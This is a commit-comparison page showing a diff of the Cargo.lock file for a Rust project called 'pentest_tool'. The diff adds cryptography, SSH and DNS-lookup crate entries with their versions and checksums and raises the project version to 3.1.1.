Compare commits
38 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2ebb29828b | ||
|
|
637fd5417f | ||
|
|
9fa1800337 | ||
|
|
e211433772 | ||
|
|
6d92032d06 | ||
|
|
925c3fd471 | ||
|
|
21d8da25e3 | ||
|
|
f8ec8de137 | ||
|
|
a3f42ecb3f | ||
|
|
387c12a247 | ||
|
|
249ecc786d | ||
|
|
6959e77d57 | ||
|
|
33450cb1ba | ||
|
|
55a6faac2d | ||
|
|
737bee37e7 | ||
|
|
76f153e981 | ||
|
|
c4bda0022b | ||
|
|
aef65f3b03 | ||
|
|
9d8154c7a1 | ||
|
|
4e38749c86 | ||
|
|
0913703976 | ||
|
|
fbd524ae7f | ||
|
|
dabca4c20a | ||
|
|
7dec1cb0cb | ||
|
|
a0b6065040 | ||
|
|
f99e395241 | ||
|
|
0cbe33357a | ||
|
|
4bd67a486f | ||
|
|
12e5ab38d2 | ||
|
|
f2370e463d | ||
|
|
92dd9766b8 | ||
|
|
dbbae0eb4e | ||
|
|
2346988e23 | ||
|
|
5bfa645b3d | ||
|
|
012ba517ab | ||
|
|
649dad5e79 | ||
|
|
2e839adccf | ||
|
|
fc316c2a71 |
696
pentest_tool/Cargo.lock
generated
696
pentest_tool/Cargo.lock
generated
@@ -17,6 +17,17 @@ version = "2.0.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "aho-corasick"
|
name = "aho-corasick"
|
||||||
version = "1.1.3"
|
version = "1.1.3"
|
||||||
@@ -96,12 +107,24 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base16ct"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "base64"
|
name = "base64"
|
||||||
version = "0.22.1"
|
version = "0.22.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base64ct"
|
||||||
|
version = "1.8.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bindgen"
|
name = "bindgen"
|
||||||
version = "0.70.1"
|
version = "0.70.1"
|
||||||
@@ -132,6 +155,15 @@ version = "2.6.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "block-buffer"
|
||||||
|
version = "0.10.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bumpalo"
|
name = "bumpalo"
|
||||||
version = "3.16.0"
|
version = "3.16.0"
|
||||||
@@ -208,6 +240,16 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clang-sys"
|
name = "clang-sys"
|
||||||
version = "1.8.1"
|
version = "1.8.1"
|
||||||
@@ -238,6 +280,15 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colored"
|
||||||
|
version = "3.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fde0e0ec90c9dfb3b4b1a0891a7dcd0e2bffde2f7efed5fe7c9bb00e5bfb915e"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "combine"
|
name = "combine"
|
||||||
version = "4.6.7"
|
version = "4.6.7"
|
||||||
@@ -248,6 +299,12 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "const-oid"
|
||||||
|
version = "0.9.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "core-foundation"
|
name = "core-foundation"
|
||||||
version = "0.9.4"
|
version = "0.9.4"
|
||||||
@@ -307,12 +364,110 @@ dependencies = [
|
|||||||
"windows",
|
"windows",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cpufeatures"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crc32fast"
|
||||||
|
version = "1.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crypto-bigint"
|
||||||
|
version = "0.5.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crypto-common"
|
||||||
|
version = "0.1.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
"typenum",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ctr"
|
||||||
|
version = "0.9.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "curve25519-dalek"
|
||||||
|
version = "4.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"curve25519-dalek-derive",
|
||||||
|
"digest",
|
||||||
|
"fiat-crypto",
|
||||||
|
"rustc_version",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "curve25519-dalek-derive"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "dasp_sample"
|
name = "dasp_sample"
|
||||||
version = "0.11.0"
|
version = "0.11.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f"
|
checksum = "0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "der"
|
||||||
|
version = "0.7.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"pem-rfc7468",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "digest"
|
||||||
|
version = "0.10.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||||
|
dependencies = [
|
||||||
|
"block-buffer",
|
||||||
|
"const-oid",
|
||||||
|
"crypto-common",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "directories"
|
name = "directories"
|
||||||
version = "5.0.1"
|
version = "5.0.1"
|
||||||
@@ -365,12 +520,78 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "dns-lookup"
|
||||||
|
version = "2.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e5766087c2235fec47fafa4cfecc81e494ee679d0fd4a59887ea0919bfb0e4fc"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"socket2",
|
||||||
|
"windows-sys 0.48.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ecdsa"
|
||||||
|
version = "0.16.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"digest",
|
||||||
|
"elliptic-curve",
|
||||||
|
"rfc6979",
|
||||||
|
"signature",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ed25519"
|
||||||
|
version = "2.2.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"
|
||||||
|
dependencies = [
|
||||||
|
"signature",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ed25519-dalek"
|
||||||
|
version = "2.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871"
|
||||||
|
dependencies = [
|
||||||
|
"curve25519-dalek",
|
||||||
|
"ed25519",
|
||||||
|
"sha2",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "either"
|
name = "either"
|
||||||
version = "1.13.0"
|
version = "1.13.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "elliptic-curve"
|
||||||
|
version = "0.13.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"crypto-bigint",
|
||||||
|
"digest",
|
||||||
|
"ff",
|
||||||
|
"generic-array",
|
||||||
|
"group",
|
||||||
|
"pkcs8",
|
||||||
|
"rand_core",
|
||||||
|
"sec1",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "encoding_rs"
|
name = "encoding_rs"
|
||||||
version = "0.8.35"
|
version = "0.8.35"
|
||||||
@@ -402,6 +623,32 @@ version = "2.3.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ff"
|
||||||
|
version = "0.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393"
|
||||||
|
dependencies = [
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "fiat-crypto"
|
||||||
|
version = "0.2.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flate2"
|
||||||
|
version = "1.0.35"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
|
||||||
|
dependencies = [
|
||||||
|
"crc32fast",
|
||||||
|
"miniz_oxide",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "fnv"
|
name = "fnv"
|
||||||
version = "1.0.7"
|
version = "1.0.7"
|
||||||
@@ -507,6 +754,17 @@ dependencies = [
|
|||||||
"slab",
|
"slab",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "generic-array"
|
||||||
|
version = "0.14.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
|
||||||
|
dependencies = [
|
||||||
|
"typenum",
|
||||||
|
"version_check",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "getrandom"
|
name = "getrandom"
|
||||||
version = "0.2.15"
|
version = "0.2.15"
|
||||||
@@ -514,8 +772,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
|
checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
|
"js-sys",
|
||||||
"libc",
|
"libc",
|
||||||
"wasi",
|
"wasi",
|
||||||
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -530,6 +790,17 @@ version = "0.3.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "group"
|
||||||
|
version = "0.13.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
|
||||||
|
dependencies = [
|
||||||
|
"ff",
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "h2"
|
name = "h2"
|
||||||
version = "0.4.7"
|
version = "0.4.7"
|
||||||
@@ -555,6 +826,21 @@ version = "0.15.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
|
checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "heck"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hmac"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
|
||||||
|
dependencies = [
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "home"
|
name = "home"
|
||||||
version = "0.5.11"
|
version = "0.5.11"
|
||||||
@@ -854,6 +1140,15 @@ dependencies = [
|
|||||||
"hashbrown",
|
"hashbrown",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "iovec"
|
name = "iovec"
|
||||||
version = "0.1.4"
|
version = "0.1.4"
|
||||||
@@ -930,6 +1225,9 @@ name = "lazy_static"
|
|||||||
version = "1.5.0"
|
version = "1.5.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
dependencies = [
|
||||||
|
"spin",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "lewton"
|
name = "lewton"
|
||||||
@@ -958,6 +1256,12 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libm"
|
||||||
|
version = "0.2.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "libredox"
|
name = "libredox"
|
||||||
version = "0.1.3"
|
version = "0.1.3"
|
||||||
@@ -1101,6 +1405,34 @@ dependencies = [
|
|||||||
"minimal-lexical",
|
"minimal-lexical",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-bigint"
|
||||||
|
version = "0.4.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
|
||||||
|
dependencies = [
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
"rand",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-bigint-dig"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151"
|
||||||
|
dependencies = [
|
||||||
|
"byteorder",
|
||||||
|
"lazy_static",
|
||||||
|
"libm",
|
||||||
|
"num-integer",
|
||||||
|
"num-iter",
|
||||||
|
"num-traits",
|
||||||
|
"rand",
|
||||||
|
"smallvec",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-derive"
|
name = "num-derive"
|
||||||
version = "0.4.2"
|
version = "0.4.2"
|
||||||
@@ -1112,6 +1444,26 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-integer"
|
||||||
|
version = "0.1.46"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
|
||||||
|
dependencies = [
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-iter"
|
||||||
|
version = "0.1.45"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-traits"
|
name = "num-traits"
|
||||||
version = "0.2.19"
|
version = "0.2.19"
|
||||||
@@ -1119,6 +1471,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"autocfg",
|
"autocfg",
|
||||||
|
"libm",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1239,17 +1592,68 @@ version = "0.2.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
|
checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p256"
|
||||||
|
version = "0.13.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b"
|
||||||
|
dependencies = [
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p384"
|
||||||
|
version = "0.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6"
|
||||||
|
dependencies = [
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p521"
|
||||||
|
version = "0.13.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"rand_core",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pem-rfc7468"
|
||||||
|
version = "0.7.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pentest_tool"
|
name = "pentest_tool"
|
||||||
version = "0.2.0"
|
version = "3.1.1"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"chrono",
|
"chrono",
|
||||||
"clearscreen",
|
"clearscreen",
|
||||||
|
"colored",
|
||||||
"directories",
|
"directories",
|
||||||
|
"dns-lookup",
|
||||||
"fs_extra",
|
"fs_extra",
|
||||||
"futures-io 0.2.1",
|
"futures-io 0.2.1",
|
||||||
"reqwest",
|
"reqwest",
|
||||||
"rodio",
|
"rodio",
|
||||||
|
"ssh-rs",
|
||||||
|
"term_size",
|
||||||
"walkdir",
|
"walkdir",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -1309,12 +1713,51 @@ version = "0.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkcs1"
|
||||||
|
version = "0.7.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"pkcs8",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkcs8"
|
||||||
|
version = "0.10.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pkg-config"
|
name = "pkg-config"
|
||||||
version = "0.3.31"
|
version = "0.3.31"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
|
checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ppv-lite86"
|
||||||
|
version = "0.2.21"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||||
|
dependencies = [
|
||||||
|
"zerocopy",
|
||||||
|
]
|
||||||
|
|
